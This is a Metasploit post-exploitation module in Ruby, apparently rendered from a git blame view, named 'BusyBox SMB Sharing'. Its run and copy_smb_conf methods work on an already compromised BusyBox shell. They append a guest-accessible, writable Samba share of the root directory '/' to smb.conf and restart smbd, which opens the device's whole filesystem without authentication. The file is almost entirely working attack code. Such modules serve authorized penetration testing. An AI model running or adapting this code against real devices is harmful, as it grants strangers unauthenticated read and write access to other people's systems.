2015-08-10 16:29:41 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::File
|
2015-08-28 16:50:17 +00:00
|
|
|
include Msf::Post::Linux::BusyBox
|
2015-08-10 16:29:41 +00:00
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
2015-08-28 16:18:49 +00:00
|
|
|
'Name' => 'BusyBox SMB Sharing',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will be applied on a session connected to a BusyBox shell. It will modify
|
|
|
|
the SMB configuration of the device executing BusyBox to share the root directory of
|
|
|
|
the device.
|
|
|
|
},
|
2015-08-10 16:29:41 +00:00
|
|
|
'Author' => 'Javier Vicente Vallejo',
|
|
|
|
'License' => MSF_LICENSE,
|
2015-08-28 16:18:49 +00:00
|
|
|
'Platform' => ['linux'],
|
|
|
|
'SessionTypes' => ['shell']
|
2015-08-10 16:29:41 +00:00
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2015-08-28 16:18:49 +00:00
|
|
|
print_status('Checking smb.conf...')
|
|
|
|
if read_file('/var/samba/smb.conf').length > 0 #file? doesnt work because test -f is not implemented in busybox
|
|
|
|
print_status('smb.conf found, searching writable directory...')
|
|
|
|
writable_directory = get_writable_directory
|
2015-08-10 16:29:41 +00:00
|
|
|
if writable_directory
|
2015-08-28 16:18:49 +00:00
|
|
|
print_status('writable directory found, copying smb.conf and restarting smbd')
|
|
|
|
copy_smb_conf(writable_directory)
|
2015-08-10 16:29:41 +00:00
|
|
|
else
|
2015-08-28 16:18:49 +00:00
|
|
|
print_error('Writable directory not found')
|
2015-08-10 16:29:41 +00:00
|
|
|
end
|
|
|
|
else
|
2015-08-28 16:18:49 +00:00
|
|
|
print_error('smb.conf not found')
|
2015-08-10 16:29:41 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-08-28 16:18:49 +00:00
|
|
|
def copy_smb_conf(dir)
|
|
|
|
cmd_exec_delay("rm -f #{dir}smb.conf")
|
|
|
|
cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf")
|
|
|
|
cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf")
|
|
|
|
cmd_exec_delay('killall smbd')
|
|
|
|
cmd_exec_delay("smbd -D -s #{dir}smb.conf")
|
|
|
|
cmd_exec_delay("smbd -D -s=#{dir}smb.conf")
|
|
|
|
end
|
|
|
|
|
|
|
|
def cmd_exec_delay(command)
|
|
|
|
res = cmd_exec(command)
|
|
|
|
vprint_status(res)
|
|
|
|
Rex.sleep(0.1)
|
|
|
|
end
|
|
|
|
|
2015-08-10 16:29:41 +00:00
|
|
|
end
|